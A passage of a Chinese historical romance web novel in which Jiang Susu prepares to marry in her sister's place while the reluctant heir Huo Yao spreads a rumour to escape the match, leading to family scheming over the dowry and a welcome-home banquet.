“尧儿你坚持坚持，等见到姜姑娘再说。”袁舒兰看了眼儿子可怜巴巴那样子，又怕松了跑了，索性背过身去不看了。
霍尧皱眉。
又是她。
“我说了不见，我绝不娶她，你们再怎么逼我也没用。”
霍君鹤怒气上头，吩咐小厮道，“把人抬下去看好，不准他跑了，要是跑了把你们都发卖了。”
“是！老爷，小的们遵命。”小厮们诚惶诚恐，抬上霍尧下去了。
霍尧被绑到房间的柱子上立着，一直嚎着让人放了他，但都没有人理他。
一直到晚上，估计他是嚎累了，院子终于安静下来。
南五端着膳食敲门进屋，霍尧拉耸着脑袋一下抬头，“好你个南五，敢背叛小爷，快点给我松绑。”
“少爷，夫人吩咐厨房给您做的羊排，小的喂您吃。”南五端着饭菜过来。
霍尧眼神黑沉地凝视，不悦道，“拿远点。”
南五委屈道，“少爷，小的虽说下还没有小，但我爹老年得子，今年也快七十了，小的也不敢违抗老爷的命令啊。老爷说了等去参加姜姑娘的回京宴时就能给您松绑了。”
“姜姑娘……”霍尧脸颊紧绷，眸子微眯。
想让他心甘情愿娶她绝不可能。
“南五，你现在帮我爹就不怕我自由了收拾你？”他哼声威逼。
南五端着碗的手都发抖了，“少…少爷…小的。”
他眉梢抬着扯起嘴角道，“小爷可以给你个将功赎罪的机会。”
“只要不是松绑逃走，小的都听少爷的。”
“过来点。”
南五连忙去放下碗筷过来听吩咐，听霍尧说着边听边点头答应。
霍尧：“听明白了吗？”
“小的明白了。”南五捣蒜似的点头。
“把羊排拿过来。”
“好的少爷。”
-
姜苏苏拆了发髻，一头丝绸般地黑发垂在肩上坐在窗前看着手里的红纸鹤。
程哥哥究竟为何会犯了死罪被处死。
文妈妈抱着被褥在床榻铺床，边铺边问道，“小姐，怎么愿意给谭氏占八成的分成啊，在老奴看来她就是想打地契的主意。”
她把纸鹤放进木盒里，“文妈妈放心，外祖母的地我会守好的。那块地自从程哥哥离开庄子后，没有人帮我们，我和祖母家中又没有男丁，就被庄上的流氓盯上了，现在母亲想打理那块地，也算是替我解决麻烦，收成她占八成也是应该的。”
文妈妈走来给她梳头，“嗯，小姐说的也是，那块地肥，那些流氓就是想占着逼小姐便宜卖地。让谭氏帮忙打理，这样也好。”
5. 5
姜苏苏走到床榻边，文妈妈服侍她更衣，温声道，“老奴伺候小姐这么多年，不曾想时间过得如此快，一转眼小姐就要嫁人了。”
她淡声细语，“我打小没有阿娘，全靠文妈妈把我哺育长大，妈妈愿意跟着我嫁过去，苏苏感激不尽。”
文妈妈眼含泪光，“只有看到小姐嫁得良人，老奴才放心。小姐可见过要嫁的夫君了？”
她抿唇摇头，将要替嫁的事大致给文妈妈说了些，文妈妈皱了眉头，“婚姻大事小姐就这么答应他们要替嫁过去了？她家嫡女怎么不嫁，此事应该没那么简单。”
她知文妈妈心疼她，怕她受委屈，只是她也记挂着和姐姐过往的那些姐妹情分，姐姐不想嫁，姜家也不好退婚只能她嫁过去，既保了姐姐的名誉，也顾全了姜家在京城的信誉。
“文妈妈别担心，我想我和霍家嫡子之间应能相处得平静安和的。”她握着妈妈的手，抬眸淡然含笑说道，“不过原妈妈没来前我还是有些担心的，但如今妈妈来了，我就不怕了。”
文妈妈惆怅又心疼地看着她，双唇抿着叹道，“小姐总为姜家着想…哎，老奴也只有用这把老骨头护着小姐了。”
姜苏苏对文妈妈笑着撒了会儿娇，过了会儿感觉困了躺到床榻上，文妈妈给她掖好被子守着她睡着了才轻轻吹了烛灯出去。
-
翌日一早，姜苏苏坐在铜镜前盘发髻，她困顿地连打几个绵长的哈欠，眸中含着水光，杏眼桃腮愈发楚楚动人。
云蝶看她困意绵绵的，边插发簪边关心问道，“小姐昨儿晚没休息好吗？”
姜苏苏轻点了头，“嗯，昨晚梦魇了。”
梦到她要嫁的夫君是集市遇到的那个红袍男子。幸好是梦，不然让她嫁给那样自恋狂妄的夫君，一辈子那么长她都不知道该如何过下去了。
云蝶：“待会儿奴婢去厨房端一碗醒神暖茶来，小姐喝了就不困了。”
“嗯，好。”她看着铜镜中的云蝶笑着点头。
梳妆打扮完后云蝶去端了醒神暖茶来，姜苏苏轻吹着喝完了，茶有些苦涩，放下碗碟，文妈妈赶紧给她拿了蜜饯让她放进口中含着。
她含着蜜饯，甜滋滋地笑，“文妈妈这是从庄上带上来的？土蜂的蜂蜜好甜。”
文妈妈合上蜜饯罐子道，“嗯，庄上的蜜好，老奴带了两罐，等小姐吃完了老奴再托人去庄上采些来。”
文妈妈知道她喜甜，去庄上后就四处寻蜂巢，刚采蜜的时候不熟练被蜜蜂蛰也要弄蜂蜜给她吃。
她记忆中没有阿娘的影子，但文妈妈待她就像是她的阿娘。
谭柳慧带着丫鬟突然来了，文妈妈和云蝶颔首退到一旁。
她瞧见人进来了，起身屈膝行礼迎接，“母亲。”
谭柳慧牵起她起身，声音笑得是爽朗地，带着她去坐下缓声道，“苏苏，明儿个霍家的来参加你的回京宴你可做好准备了？”
姜苏苏一听心口倒是滞了一下，摇了摇头，“还听母亲教导。”
霍家高门大户的，听说还袭了爵位，若是有了被人发现换了人，这可是个大麻烦了。
谭柳慧转头看向她屋子里的佣人们道，“你们可都听清楚了，在姜家苏苏是嫡长女，不是二小姐，明儿个谁称呼错了，就不是掌嘴的事儿了，把你们发买了都是轻的。”
“是。”屋内丫鬟们齐声回应。
谭柳慧转目对苏苏笑道，“苏苏，嫁妆的事你考虑的如何了？”
姜苏苏眸子微动了下，抿唇颔首。
站在一旁的文妈妈听这问话的方式觉着不太对劲，眼珠子转了下便对轻声道，“小姐，您身子是不是不太舒服？”
姜苏苏机灵地扶了下额。
云蝶忙问，“小姐这是昨晚梦魇头疼了吧。”
文妈妈扶起姜苏苏，“老奴扶您去歇着吧。”
她在文妈妈的搀扶下福了福身，淡眉微蹙着柔声道，“抱歉母亲，女儿头疼得厉害先去歇下，明儿一早去给母亲请安。”
谭柳慧可惜得叹气，蹙眉自顾自地低声，“怎得突然梦魇了。”但又不好把苏苏拉着不让走，只好强颜笑着，“好好，快去歇着，别耽误明天的回京宴了。”
“谢母亲。”
回了里屋，文妈妈让云蝶把门合上，扶姜苏苏到软榻上坐着问，“小姐，这话老奴本不该问，但方才谭氏那话的意思是想克扣嫁妆？”
她缓然点了头，“母亲说家中不富裕，与我商量等我嫁过去后把嫁妆带回来。”
文妈妈听得直冒火气，“小姐，姜家让你替嫁又不愿给嫁妆，要是没有嫁妆傍身在婆家说话都没底气，这谭氏是一点不考虑小姐以后在霍家过成什么样啊，也不怕人说姜家小气，老爷可知道此事？”
姜苏苏垂眼，叹道，“爹爹应该还不知道。”
“哪有这么欺负人的，奴婢去告诉老爷。”云蝶听了都觉得气不过，话落就准备去告状，文妈妈给拦住了，“别急，你若现在去说了，谭氏指不定还得挑小姐的错处。”
姜苏苏沉了沉道，“先这样拖着吧，等到我带着嫁妆嫁过去了，母亲再提时我也能找个借口。”
只是不知道婚期是多久，她这样装不舒服，久了也不是个法子。
明天霍家来参加回京宴若顺利应该能定下婚期吧。
-
霍尧结结实实地被绑在柱子上垂着个脑袋，窗户缝的光钻进屋子映在地上拓长了影子。
咯吱一声，南五推开房门进来又关上门。
屋外的阳光突兀的晃了下眼，他挣扎了下眼皮迷迷瞪瞪地抬起头。
南五压着声儿，“少爷…少爷，事情办妥了，都传出去了。”
霍尧困顿中突然来了精神，“那可以把我解开了。”
南五挠着脑袋，为难地咧嘴，“可是老爷没下令给您解开，奴才还是不能解开。”
他真为南五的榆木脑袋感到无语，抿着唇道，“你现在给我解开，我不出府，小爷现在就想平躺着睡个觉。”
“您明天要是不去参加姜姑娘的回京宴，奴才就死定了，”南五一副如临大敌的样子。
霍尧：“你事情都
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办妥了，明天霍家没有一个人会去姜家，我还跑什么跑。”
南五听得稀里糊涂的。
“快点给小爷松绑。”霍尧摆动肩膀。
南五稀里糊涂地绕过柱子后面给他解开了绳子。
霍尧松绑后，活动了下手臂，脖子转头盯了南五一眼，在南五缩脖子间，他一溜烟拔腿跑了。
南五崩塌似的大喊：“少爷！！！”
霍尧跑出霍府一条街后，回头观望看没人追过来才放慢脚步，走到他和谢沉、魏宇桀经常厮混的酒楼。
他一去，谢沉和魏宇桀果然都在。
魏宇桀看到他来了震惊道，“听南五说你被禁足了，我和谢沉还商量着怎么去解救你，你这就出来了？”
霍尧侧靠着软榻，打着哈切，“太吵了，让歌舞伎都下去，我要睡觉。”
“诶。”魏宇桀还想挽留一下，抿唇想了想摆手让人下去了。
谢沉问，“发生什么了，怎么突然被禁足了？”
霍尧撑着头，掀起眼皮，“我爹明天想把我绑去姜家参加回京宴。”
“那姜姑娘的回京宴？”
“嗯。”他合上眼。
魏宇桀拿起酒壶倒上酒，边喝边道，“回京宴？姜姑娘此前没有养在京城啊？”
“没兴趣知道。”他托着声儿说。
谢沉看了眼对面的魏宇桀又转目看向侧躺在软榻上闭目的他，“那你逃出来了，明天也不打算去姜家了？不怕霍老爷赶你出家门？”
霍尧抬眼，“明天霍府的人都不会去。”
谢沉和魏宇桀对视：“？？”
-
第二日姜家一大早，上上下下就为宴席开始忙活起来，但突然有个下人通报了什么后，姜华临和谭柳慧脸上的笑都垮了下来。
云蝶来给她说了后，姜苏苏在房间里莫名有种不祥的预感。
谭柳慧那边的惜春来叫她过去问话，她赶紧赶了过去，一踏进门气氛像是海啸前的平静，静得可怕。
她眉眼垂着，“父亲，母亲发生何事了？”
姜华临桌上拍了一掌，桌子的闷响吓得她睫毛一颤。
“你还好意思问？你把你屋里编的那些小玩意送给谁了？”
姜苏苏愣了下说道，“父亲，竹玩和竹篮我拿去集市卖给客人了，十文钱一个。”
姜华临指着她怒道，“你还不说实话。”
谭柳慧皱眉起身，“苏苏，你喜欢编那些小玩意儿，我也不禁你的足给你自由让你出去打发下时间。但没想到你竟然会当众送给素未谋面的男子，现在都传开了。”
听到最后，苏苏才明白是怎么回事。
那天人多，终究还是传开了。
姜苏苏跪在二老面前，颔首说明那两日发生的事，“他多给了钱，女儿觉得不该贪财所以把银子给送换回去，后来因为着急不想过多的纠缠就脱口而出送给他，但并非对他有意专程送竹玩。”
谭柳慧道，“那你也该让丫鬟送去，不该亲自去，知错没有？”
“女儿知错。”
6. 6
谭柳慧蹙眉顿了片刻，转目看向姜华临柔声规劝，“孩儿她爹，苏苏知错了你也就别气了。”
姜华临哼了声，“现在外面都传姜家的姑娘不是诚心和霍府结亲，才由着自家闺女在外抛头露面。”
“老爷，你又不是不知道外面那些嚼舌根的传谣言一传八百个样儿，哪能轻信，何况苏苏不也解释了与街上遇到的那人没有那方面的意思吗？”谭柳慧先来扶起苏苏，然后走到夫君面前递上了茶。
姜华临眼皮抬动，眉心深深蹙着接过茶盏拿在手中没喝。
“这事儿不是我们在这儿说罢就罢了的，保不齐已经传到霍家耳朵里了，霍家的人要是因为此事不来了，咱今日又这么大张旗鼓的办苏苏的回京宴，这婚事黄了还要被人笑话。”
他抿了口茶放下茶盏看向姜苏苏，拧着眉训道，“苏苏，我平日看你都聪明伶俐与来府上的表哥们都懂得分寸距离，怎得对一个陌生男子就如此欠妥？”
姜苏苏垂着眸子咬着唇角心口沉重。
谭柳慧长叹瞧了苏苏一眼，转头道，“老爷，现在也没听到说霍家的人因为此事不来呀。”
话音刚落，下人就来通传说霍家的小厮来说霍夫人身子突然不适，霍府上下忧心今日不便来参加回京宴了。
此话一听便知道是说辞了，姜华临神色越发难看，捏着手心最后决定道，“派人去告诉霍府的人要嫁的是安儿。”
谭柳慧赶紧拦住，“老爷万不可啊，这不摆明了咱欺瞒他们霍家吗？”
姜华临着急起身，“那该如何是好，这次我接的大买卖全是靠着霍家的脸面，要是这婚约不成，买卖也黄了。”说着说着又急了，两手一摊，“哎呀！这不是赔了夫人又折兵嘛。”
“老爷别急啊，我有法子。”谭柳慧淡笑一下。
姜华临抬眸，谭柳慧道，“我借着上门探病的名由，亲自上门去解释。”
“能行吗？”
“不行也得试试，总不能等着人再提退婚吧，苏苏必须得尽快嫁过去。”
谭柳慧立马吩咐人准备探望的东西，坐上马车就焦急前往霍府。
-
霍府院子还堆放着要带去姜家的几箱贺礼，霍君鹤肃立负手吩咐佣人重新抬回库房去，佣人们听命两人两人搭手沉重地搬走。
袁舒兰捏着帕子站在一旁，絮絮叨叨，“这都弄得什么事儿啊，我们霍家也是功勋世家。姜家的姑娘若有心上人私下与我们商议退婚事宜便是，弄得人尽皆知太不光彩了。”
霍君鹤皱眉，“罢了，我们不去回京宴也表明态度了，正好那逆子也不知道又跑哪去了。”
袁舒兰发愁抬眸，“那婚约的事怎么办？我们要先提退婚约吗？”
霍君鹤正想着该如何处理时，就听人来通报说姜家夫人上门探病来了。
袁舒兰蹙眉，不悦道，“说我身子不适不便见人。”
下人道，“姜夫人说关于外面传姜姑娘的传言，要亲自与夫人解释。”
袁舒兰沉着眸子半晌，霍君鹤提道，“看看姜家如何解释吧。”
“好，让人进来吧。”
谭柳慧带着丫鬟小厮把带来的礼品交给霍家的下人，在下人带领下她到正厅入座。
袁舒兰坐在正厅端着茶盏，眸子淡而带着不满，“想解释什么？外面可传的风风雨雨了。”
谭柳慧在坐在一侧缓道，“霍夫人，我家苏苏端庄贤淑与男子向来保持距离，绝不会是外面所传轻易送定情信物与人的姑娘。”
“没有空穴来风的事。”袁舒兰抿唇冷淡地放下茶盏。
“这事儿也怪我。”谭柳慧叹道，“我教导苏苏女子要温婉，不要与人争执不要贪心，所以那日有人买东西多给了钱，她心善所以去把银子还给别人，所以才被人胡乱的传谣言，是我教导无方。”
她拿着帕子抹了下眼角，“可我家苏苏绝没有像谣传那样，我还听说那日霍公子也在，霍夫人可问问霍公子所见到的，就能还苏苏清白。”
袁舒兰一愣，“尧儿那日也在？”
谭柳慧点头回应。
霍尧在酒楼躺着，手枕在头下，一只脚搭在膝盖上悠闲地点动脚尖。
魏宇桀和谢沉在一旁下棋，魏宇桀拿着黑子边下边道，“阿尧你真不打算回去了？”
他俩昨晚都回去了，今儿一来酒楼就听说霍尧昨晚没回去。
霍尧轻抬起眼皮，侧目，“还不到时候，等什么时候把婚退了就回去。”
魏宇桀紧抿着唇，摇头，落下黑子。
谢沉道，“哎，阿尧你身上带的银子怕是不够吧。”
他坐起来从袖子中拿出一锭银子和竹玩兔子，摸了摸腰间愣了下，没带玉佩。
谢沉看见桌上放着的两样东西，“你这银子还是姜姑娘还给你的那个吧。”
魏宇桀抬眸笑道，“若那姑娘不拿银子来还给你，阿尧你怕是得露宿街头了，所以你还得谢谢人家。”
“胳膊肘往外拐啊。”他蹙眉。
这时南五突然来了，嘻笑道，“少爷。”
霍尧一抬眸就见南五，愣了下道，“你怎么知道我在这里？”
“早上小的寻少爷的时候，在街上遇魏大人和谢大人了。”南五躬身回答。
霍尧沉眸无言地看向谢沉和魏宇桀。
谢沉缓缓眼神飘忽转开，魏宇桀呵呵道，“不小心说漏嘴了嘛。”
“少爷，老爷和夫人都知道姜姑娘当街送男子竹玩的事了，今天都没去姜家，应该不会逼您成亲了，您可以回府了。”南五拱手道。
谢沉和魏宇桀两人的眼神同步地飘向桌上的竹玩，又统一地看向霍尧。
霍尧蹙眉，“干嘛啊？”
魏宇桀憋笑捂着嘴，摇头。
“小爷终于不用娶她了。”他感觉浑身轻松地起身踏出包厢门槛，“回府。”
霍尧走后，魏宇桀转头道，“没想到阿尧这招还真行诶。”
谢沉拿着白子落下棋盘道，“要是被发现那个男子是他，他就非娶姜姑娘不可了。”
“不让人知道不就行了。”魏宇桀笑着拿起黑子
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“没有不透风的墙。”谢沉长叹着抿唇摇头，“伤敌八百，自损一千啊。”
-
姜苏苏呆坐在梳妆桌前，铜镜映照着她清透粉嫩的脸蛋，发髻上插着淡紫色蝴蝶发簪。
她心里闷闷的，那日确实是她做到欠考虑了。
让姐姐的名声受损了，这可怎么办？万一霍家真的也退婚了，姜家的生意也会受到影响，这一桩桩的事压在她心口，哎。
文妈妈抚着她道，“小姐别太自责了，本该嫁的人也不是你，你答应替嫁过去已经够心善了，遇到这事儿也不是你想发生的，谁能把万事都考虑周全呢。”
她缓慢地点头，沉了下眸子一动，“妈妈，你帮我去集市打听打听那日那个男子是谁，只有找到他作证，这样我名声才能清白。”
文妈妈想了想点头，“好，老奴这就去。”
文妈妈前脚走，云蝶就外兴奋跑到她面前，“小姐，小姐，夫人回来了！”
“母亲可说霍家如何说？”她忙起身问道。
云蝶笑着说：“夫人说回京宴照常举行，想必霍家应该会来的。”
她点了点头不过还是有些担心。
姜云安神色焦急地来了，“苏妹妹。”
“姐姐。”她赶紧上前，歉意地垂着眸道，“对不起姐姐，是我损了姐姐的名声了。”
姜云安握着她的手，抿唇道，“妹妹可别这么说，你愿意为姐姐嫁过去替姜家排忧解难，是姜家欠你才是。”
顿了片刻又道，“不过爹爹这是又要让我嫁过去了？”
姜云安今日原计划是待在房中不出门等到回京宴结束后再出门，但丫鬟突然告诉她出事了，说还是决定要让她嫁过去便赶紧赶了过来。
姜苏苏摇头，“母亲去霍家回来了，说回京宴照旧举行。”
姜云安手帕抵着心口长舒了口气，“那就好，那就好。”
她看姐姐像是捡回了一条命一般，沉了沉问，“姐姐，妹妹能问你为何不想嫁霍公子吗？我听说他家袭了爵位，姐姐若是嫁过去，以后就能是侯爵夫人，当真是因为霍公子性子顽劣不想嫁吗？”
姜云安眸子一颤，声音显得有些慌，“自然，我才不想当什么侯爵夫人。”
可能是觉得语气重了些，姜云安又拉着她的手柔声道，“妹妹，姐姐不想要权利地位就只想安稳平淡地过完这一生。”
她本觉得有些奇怪，即便在京城霍家独子是出了名的纨绔公子哥，但他家那样的地位也会有不少姑娘想嫁，但看姐姐这样怜惜地蹙着眉心看着她说只想要平淡地过一生，她心里的疑问也消了不少。
她一直以为姐姐是想要吃穿不愁的富贵生活的。
不过人生追求各不同，有人追求大富大贵，有人只想平淡安稳。
曾经程哥哥说，他不会是甘愿永远待在庄上过一成不变的贫苦生活的人，他想要权力，地位，金钱，有了这些才能保护想要保护的人。
她不明白平淡好还是富贵好，当下她只想要一个永远不会赶她走的小家。
7. 7
姜家宾客陆陆续续来了，姜父姜母在门口迎接宾客，姜华凌对霍家还会不会来心里仍然没底，脸上的挂着的笑十分勉强僵硬。
文妈妈去打听了回来，穿过庭院到苏苏房里，进去后赶紧把门合上，“小姐，老奴打听到是谁了。”
姜苏苏眸子含着淡淡地担忧听妈妈细说。
文妈妈几个步子到她面前，小声地道，“集市上有个大娘的表舅的媳妇儿的大哥说认识那日与小姐在集市遇到那个公子……”
听到这里苏苏被这复杂的关系给绕糊涂了，“妈妈，可问能否帮我作证？”
文妈妈长话打住，缓了口气，捡重要地说：“大娘说那个公子性格脾性都怪，恐怕不好说服，不过她替咱打听到了那位公子的住所，让咱去碰碰运气看能否说服。”
姜苏苏拧着手中的帕子眸光微沉下来，知道住所她也不能亲自前往了，否则又被人传出不实的谣言。
“文妈妈你是我身边最信任的人，我不好出面去说服，只有麻烦文妈妈再替我跑一趟。”
“好，小姐。”文妈妈点头，马不停蹄地抬脚跑出去。
-
霍尧回府，府上冷清地厉害，一眼望去佣人小厮也看不见几个，他转头问跟在身后的南五，“怎么都没人啊？”
南五摸不着头脑地摇了摇头，“小的也不知道，出去找少爷的时候人还挺多的呀。”
霍尧抓了个搬着花盆路过的花匠问，“老爷和夫人哪儿去了？”
花匠颔首回禀，“回少爷的话，老爷和夫人带着贺礼去姜家了。”
闻言，霍尧怔愣一瞬紧皱着眉心看向南五。
“说实话。”
南五赶紧把自己摘干净，双手举着摆手道，“小的发誓，这事儿小的真不知道，小的出去寻少爷的时候，老爷和夫人都吩咐人正把贺礼往库房搬。”
看南五不像是在说谎，他转身跨着大步子往自己所住南院屋子去。
“少爷，少爷，您打算做什么？”南五赶紧小跑跟上去。
霍尧一掌推开房门，进去换了身青色长袍，把最三块值钱的玉佩挂在腰间，然后就开始收拾包袱，银子和房间里各种值钱的东西他都一股脑地收进去。
南五上前急问，“少爷您这是做什么？”
“还能做什么，我跑路啊。”他跨上包袱抬脚就跨出屋子，急得像是逃荒，“都这样了再不跑，等着被押去成亲？”
“少爷…少爷，老爷和夫人就您一个嫡子，您可不能离家啊。”南五小跑着边跟在他身后边说，“老爷会大怒的…少爷，少爷…”
霍尧被唠叨得皱眉，突然想到什么，脚步停下来。
南五嘿嘿笑，“少爷您想明白决定不走去娶姜姑娘？”
霍尧没理他，若有所思地转身，庭院石子路蜿蜒，他朝旁边跨了一步走到池塘边上的一棵香樟树前爬了上去。
又从香樟树爬到墙头上，他侧目淡扯着唇，“小爷天生反骨，下辈子都不可能娶她。”话刚落他就翻下墙去。
南五在这头还没来得及反应就不见了人影，急得也去爬树想去跟过去，但笨手笨脚地脚尖打滑，只好叹了一声赶紧走正门绕去追霍尧。
霍尧又回到酒楼，包袱往谢沉和魏宇桀已成死棋的棋盘上重重一放，丁玲哐当作响。
他往榻上一躺，手枕在头下，一只脚弯曲踩在软踏上，转目道，“这些够我在外待一阵了。”
看他得意地弯着唇，腰间还挂了三块玉佩，魏宇桀拿出银子抛给谢沉道，“你赢了，看阿尧这收拾包袱跑路的样子，是要娶姜家小姐了。”
霍尧掀动眼皮坐起来。
谢沉抛着银子笑，“你这才回去多久，就又逃过来了，是计谋不起作用还是被揭穿了？”
他浓眉紧蹙伸手拿起茶壶倒了盏茶边喝边道，“不知道我爹娘怎么又带着贺礼去姜家了。”
魏宇桀摇头正经起来：“阿尧，我听说姜姑娘琴棋书画样样精通，除了家境背景差点意思，其他方面都是艳压京城大家闺秀。尤其是那天看见那张容貌，用倾国倾城也不为过啊，你怎么就那么不想娶？”
听见魏宇桀这么正经的说道，他意外地看了魏宇桀一眼，摩挲着手中的杯盏。
她好看？
霍尧回忆脑海中她的样貌，星眸桃腮，粉唇翘鼻，看上去灵动活泼，就是身材纤瘦的感觉弱不禁风像一根飘动的柳条。
他微抬眸，“感觉风一吹她就会倒，太弱了，不是我喜欢类型。”
谢沉笑道，“我倒觉得姜姑娘不像你说的那么弱，况且女子柔弱点不是很正常嘛，不然要男人来做什么？”
霍尧淡抿唇喝着茶，魏宇桀叹道，“哎，阿尧你就是身在福中不知福。”
这时，魏宇桀家的小厮叩门通报道，“爷，有人到医馆找你说有要紧事。”
魏宇桀问道：“谁啊？”
小厮眼珠子转了下，扫了眼屋里的人，走上前在他耳边通传，只见魏宇桀听到后眸光缓缓飘向霍尧，赶紧又转了回来。
小厮传完话，魏宇桀起身掸了掸袍子，“时辰不早了，我该回去了。”
谢沉看了他一眼道，“这才什么时辰？”
魏宇桀：“家中急事得赶紧赶回去。”
霍尧倒是没多问，扬了下头让他赶紧回去。
-
姜家欢喜热闹，各处景象都洋溢着喜气。
而姜华临眼巴巴在门口张望着有没有霍家的马车驶来，眼睛都快望成斗鸡眼了。
谭柳慧一旁招呼完宾客抬头就瞧见夫君跟个石头似得站在门口，街坊来了也不知道迎接下，她带着不满走去道，“老爷，客人来了你要招呼啊。”
姜华临心不在焉地连声回答，“好好好。”
谭柳慧紧抿唇，偷偷在背后白了一眼，无奈走上去道，“你急什么，这天不还没过完呢嘛。”
“我能不急嘛。”姜华临摊了摊手，心想生意都要黄了，然而说出口的是，“咱家姑娘的名声更重要。”
刚这么说完，马蹄声浩荡地传入姜华临的耳里，抬眼朝望去就瞧见足足三辆马车逐一停在他姜家门口，他眼
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底都亮了，“夫人，瞧这是不是霍府的马车？”
谭柳慧赶忙吩咐身边婆子快去通知苏苏。
姜苏苏在房中还焦急地等着文妈妈的消息，云蝶站在她身旁看她担心地紧，便道，“小姐别太过忧心了，夫人让继续举办回京宴应就是有把握霍家会来的。”
她缓缓点头。
其实她现在不仅担心霍家来不来，还担心这件事会让霍家对她心生偏见。
苏苏垂眸扶了扶额头，云蝶看她像是头疼，轻轻给她揉着太阳穴。
有人来敲门，“小姐，霍家的人来了。”
听见婆子传的话，她突然紧张起来，心跳的厉害。
平静一阵，她才提裙起身，“走吧。”
云蝶点头去开了门扶着她去正厅见人。
来姜家的人不少，看着酒宴桌上坐着吃酒的人，她怕穿帮肩膀都紧绷得厉害，手中的手帕悄悄然的都快被绞成麻花了。
谭柳慧正和袁舒兰说着话，瞧她来了忙抬手微笑着招呼她过去，“苏苏，来。”
她温婉地半低着下巴走去，谭柳慧拉着她的手在手中轻拍了拍，缓言笑声道，“霍夫人，这就是我家嫡长女，姜苏苏。”
姜苏苏屈膝行礼，“见过霍伯母。”
袁舒兰眉眼带笑，不动声色地细细地看面前这姑娘，一身淡蓝水波纹轻纱烟罗裙，肤白粉黛，一双杏眼灵动得像小鹿。
听说苏苏琴棋书画都会，她在心里想也许就这样端庄漂亮的姑娘能让阿尧收心。
牵过苏苏满含柔和地淡声道，“苏苏，我听说你极为擅长山水画？”
姜苏苏眸子悄然一顿，姐姐作画极好但她从未学过作画。
可眼下也只有点头回应。
袁舒兰满意地瞧着她，眸底都是满意，“那这太巧了，阿尧就喜欢会作画的姑娘。”
苏苏心里一滞，以后霍尧让她作画，这可咋办。
谭柳慧怕在这儿就穿帮忙岔开话题，笑问道，“诶，怎未见霍公子来？”
袁舒兰顿了下，转目道，“哦…他昨儿挑灯看书，今儿个头疼的厉害。”话落又对苏苏道，“抱歉啊苏苏，改日我定让他补偿你。”
苏苏眨动睫羽，抿唇含笑，“霍公子身子重要些。”
她未来的夫君会彻夜看书，想必即便性子再纨绔也有读书人的秉性气质在的吧。
闻言感觉心里放心不少。
袁舒兰是越看越满意，但心里仍有顾虑，“苏苏，你是愿意嫁到我们霍家的吧？”
话没有明说，但苏苏听得出来是在旁敲侧击让她回应传闻的事。
她规矩地行了礼道，“回伯母的话，苏苏心里一直记着这个婚约，能嫁到霍家是苏苏修来的福分。”
袁舒兰抿唇含笑缓缓点头。
谭柳慧沉了沉眸，抬眼笑着上前带人往正厅里走，“霍夫人，我们进屋坐着聊吧。”
袁舒兰点头和谭柳慧一同走着，弯着眼道，“别叫霍夫人了，以后便是亲家了，我们两家商议商议聘礼，改日阿尧也好上门提亲。”
8. 8
长辈商议聘礼之事，苏苏不便去听，这个回京宴也本就是让她在街坊和霍家前露个脸不让人怀疑她不是姐姐就万事大吉了。
这个院子里的大多数人她都不认识，爹娘没引见她也不好去搭话，便只带着云蝶到一旁的石凳子上坐着。
姜家的佣人小厮忙前忙后的端菜端酒，酒席上的人举杯问盏，吃酒都吃得上了脸。
有妇人开始说起人阴阳怪气起来，“你瞧，这姜家也不知道修了什么福气，闺女在外面闹出那样的事来，霍府还愿意上门来商议婚期。”
有个举着杯摇头晃脑道，“都是邻居，你们说咱几个怎得就没摊上这好事，啧啧啧，要不说还得是命好啊。”
“没啥好羡慕的，姑娘家的还没出嫁就被传出在大街上送男子定情信物，这怕就算嫁到霍家去了也得被人嫌弃诟病吧。”另一妇人啄了一口酒扁着嘴道。
姜苏苏和云蝶离得不远，听得还算清楚。
云蝶气得咬牙，“这些泼皮腌臜婆，看他们是邻居才请她们来姜家，这吃个酒就把脑子给吃没了，霍家都来了就说明谣言不攻自破了，腌臜婆些尽胡说八道。”
苏苏想上去让这些乱传她的人闭嘴。
但这场合霍家人都在也不好把脸给撕破了，苏苏只能心里骂着这些人蹙眉转开眸，等文妈妈去找到那男子能把那日的事说清楚才能打这些人的脸。
姜华临看着一箱箱抬进姜家的箱子眼睛直冒精光，看来婚事不会黄了，生意也不会黄了，心口子是松了一大口气。
赶紧巴巴适适地把霍君鹤往里面请，“霍大人有失远迎，快请进快请进。”
霍君鹤庄严肃穆地抬脚往正厅去，姜华临那嘴角是一刻都没放下来过，恐怕是被即将到来的荣华富贵给冲昏了头脑，在该抬脚进门的时候被自家门槛给绊了一跤，好死不死一把老腰就这么给闪了。
只听姜华临哎呀呀几声，就见他弯着背，扶着腰僵在原地像个佝偻老翁硬是不敢动也动不了。
谭柳慧正和袁舒兰喜笑颜开地闲聊着家常，想好的聘礼数目还没来得急说，听见声儿转目，眼里一震赶紧上去看夫君伤势，“老爷没事吧？”
姜华临痛得额头直冒汗，“有…有…有事，腰…闪了。”
谭柳慧扶着他看能不能走动，姜华临痛苦皱眉直接连连摆手。
袁舒兰上前忙道，“快去找个大夫来瞧瞧好些。”
霍君鹤沉着地转头吩咐带来的小厮，“去把魏家医馆把魏名医请来。”
“是，老爷。”小厮赶紧跑去。
姜苏苏看正厅突然乱成了一团，她在云蝶搀扶下起身准备去看看发生了什么，文妈妈便赶回来了。
跟着文妈妈到安静地角落，文妈妈笑着道，“那个魏公子说愿意写封说明信替小姐把那日的事说明白。”
苏苏眸子闪闪地，“太好了。”
那个红袍男子看上去自恋又桀骜，没想到愿意替她说明，看来是个好人，是她太过肤浅以貌取人了。
-
霍尧在酒楼待得实在无聊，就和谢沉出来在街上闲逛来了。
走到魏家医馆附近时，前面围满了人闹哄哄地，霍尧把手中扇子一收转目对谢沉道，“走，去凑凑热闹。”
谢沉一脸无奈地跟上去看看。
拨开人群，霍尧就见魏宇桀被魏大夫拉拽着，教训着，“箱子提上，跟我去看诊。”
魏宇桀像个小鸡仔似得被训的低头，但还要顶几句嘴，窝窝囊囊地说：“我不去，见血我就晕，我就不是学医的那块料。”
魏大夫一脸“烂泥扶不上墙”的气道，“别给我找晕血的借口，多看看就不晕了，哪怕不学也给我在旁边待着看。”实在太过生气，也顾不上家丑外扬了，抬手又给魏宇桀两下，“快点，病人等着呢，箱子提上。”
霍尧还以为魏宇桀说家里的急事是妻子催他回去，原来是让他去学医问诊。
好兄弟有难怎能不帮呢。
他嬉皮笑着上去拱手行礼，“见过魏大夫，魏公子确实晕血得厉害，这我和谢公子都能作证。”
他侧目看了眼谢沉，谢沉愣了下上前点头道，“是是是，我们都知道。”
魏大夫一瞧是霍尧，“霍公子，你怎么在这儿？今日姜姑娘的回京宴你怎得没去。”
霍尧一愣，怎么问到他身上了。
